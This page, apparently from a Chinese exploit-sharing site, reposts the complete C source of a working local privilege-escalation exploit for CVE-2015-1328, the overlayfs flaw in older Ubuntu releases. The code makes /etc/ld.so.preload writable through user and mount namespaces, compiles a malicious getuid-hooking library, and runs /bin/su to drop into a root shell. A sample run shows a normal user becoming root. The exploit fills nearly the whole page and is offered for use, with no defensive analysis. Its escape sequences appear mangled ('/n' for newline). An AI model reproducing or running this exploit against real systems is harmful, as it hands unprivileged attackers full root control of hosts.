Ubuntu 12.04, 14.04, 14.10, 15.04 – overlayfs Local Root

  • A+
所属分类:漏洞时代
/* # Exploit Title: ofs.c - overlayfs local root in ubuntu # Date: 2015-06-15 # Exploit Author: rebel # Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 # CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)  *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* CVE-2015-1328 / ofs.c overlayfs incorrect permission handling + FS_USERNS_MOUNT  [email protected]:~$ uname -a Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux [email protected]:~$ gcc ofs.c -o ofs [email protected]:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) [email protected]:~$ ./ofs spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # id uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)  greets to beist & kaliman 2015-05-24 %rebel% *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */  #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/types.h> #include <signal.h> #include <fcntl.h> #include <string.h> #include <linux/sched.h>  #define LIB "#include <unistd.h>/n/nuid_t(*_real_getuid) (void);/nchar path[128];/n/nuid_t/ngetuid(void)/n{/n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, /"getuid/");/nreadlink(/"/proc/self/exe/", (char *) &path, 128);/nif(geteuid() == 0 && !strcmp(path, /"/bin/su/")) {/nunlink(/"/etc/ld.so.preload/");unlink(/"/tmp/ofs-lib.so/");/nsetresuid(0, 0, 0);/nsetresgid(0, 0, 0);/nexecle(/"/bin/sh/", /"sh/", /"-i/", NULL, NULL);/n}/n    return _real_getuid();/n}/n"  static char child_stack[1024*1024];  static int child_exec(void *stuff) {     char *file;     system("rm -rf /tmp/ns_sploit");     mkdir("/tmp/ns_sploit", 0777);     mkdir("/tmp/ns_sploit/work", 0777);     mkdir("/tmp/ns_sploit/upper",0777);     mkdir("/tmp/ns_sploit/o",0777);      fprintf(stderr,"mount #1/n");     if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower         if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {             fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel/n");             exit(-1);         }         file = ".access";         chmod("/tmp/ns_sploit/work/work",0777);     } else file = "ns_last_pid";      chdir("/tmp/ns_sploit/o");     rename(file,"ld.so.preload");      chdir("/");     umount("/tmp/ns_sploit/o");     fprintf(stderr,"mount #2/n");     if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {         if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {             exit(-1);         }         chmod("/tmp/ns_sploit/work/work",0777);     }      chmod("/tmp/ns_sploit/o/ld.so.preload",0777);     umount("/tmp/ns_sploit/o"); }  int main(int argc, char **argv) {     int status, fd, lib;     pid_t wrapper, init;     int clone_flags = CLONE_NEWNS | SIGCHLD;      fprintf(stderr,"spawning threads/n");      if((wrapper = fork()) == 0) {         if(unshare(CLONE_NEWUSER) != 0)             fprintf(stderr, "failed to create new user namespace/n");          if((init = fork()) == 0) {             pid_t pid =                 clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);             if(pid < 0) {                 fprintf(stderr, "failed to create new mount namespace/n");                 exit(-1);             }              waitpid(pid, &status, 0);          }          waitpid(init, &status, 0);         return 0;     }      usleep(300000);      wait(NULL);      fprintf(stderr,"child threads done/n");      fd = open("/etc/ld.so.preload",O_WRONLY);      if(fd == -1) {         fprintf(stderr,"exploit failed/n");         exit(-1);     }      fprintf(stderr,"/etc/ld.so.preload created/n");     fprintf(stderr,"creating shared library/n");     lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);     write(lib,LIB,strlen(LIB));     close(lib);     lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");     if(lib != 0) {         fprintf(stderr,"couldn't create dynamic library/n");         exit(-1);     }     write(fd,"/tmp/ofs-lib.so/n",16);     close(fd);     system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");     execl("/bin/su","su",NULL); } 

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: